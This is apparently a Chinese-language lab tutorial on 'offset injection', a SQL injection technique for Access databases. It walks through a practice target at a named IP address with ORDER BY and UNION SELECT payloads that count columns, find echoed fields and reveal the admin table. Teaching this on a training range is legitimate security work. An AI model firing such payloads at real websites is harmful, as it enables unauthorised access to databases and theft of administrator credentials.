5-2 Access注入-偏移注入
一、偏移注入使用场景
在SQL注入的时候会遇到一些无法查询列名的问题,比如无权限或者对方是Access数据库(没有information_schema库)
当你猜到表名无法猜到字段名的情况下,可以用Sqlmap爆破字段名称,或者使用偏移注入
二、偏移注入步骤
1.判断注入点
2.order by 判断字段数
3.判断表名
4.联合查询
5.获取表中列数(知道存在几列以及输出点)
6.开始偏移注入
三、偏移注入靶场讲解
1.靶场因为有一定的过滤,所以我们需要用COOKIE注入来进行注入
2.靶场是Access数据库,他默认没有系统自带表,所以我们只能通过猜来获取库名和表名
3.你看到的输出不一定是完整的输出,也许在源码里面会有更多的输出
1
http://59.63.200.79:8004/shownews.asp
171 order by 10 页面正常
171 order by 11 页面异常
说明有shownews.asp页面查询的库有10个字段
2
171 union select 1,2,3,4,5,6,7,8,9,10 from admin(由于union要求两个结果的字段数相同,这里需要select 10个,由于想知道一条结果第几个能够被显示,为了方便就10个字段依次是1,2,3,4)
说明一条结果中的第2,3,7,8,9字段会被回显
3
171 union select 1,2,3,4,5,6,7,8,9,admin.* from admin 页面异常(如果正常说明admin有1个字段)
171 union select 1,2,3,4,5,6,7,8,admin.* from admin 页面异常(如果正常说明admin有2个字段)
一直到
171 union select admin.* from admin 页面异常(如果正常说明admin有10个字段)
说明admin最少有10个字段
这个页面查询的数据库有10个字段,但是admin表至少有10个,所有要换一个页面重新测试
4
http://59.63.200.79:8004/ProductShow.asp
105 order by 26 页面正常
105 order by 27 页面不正常
说明有ProductShow.asp页面查询的库有26个字段
5
105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
说明ProductShow.asp查询的数据库的一条结果中的第3,5,7,25字段会被回显,其中25在图片的地址中
6
105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin 页面正常
105 union select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin 页面异常
说明admin表有16个字段,因为10+16=26刚好等于ProductShow.asp查询表的字段数
7
105 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin
让25位置显示admin最后一个字段
- 点赞
- 收藏
- 关注作者
评论(0)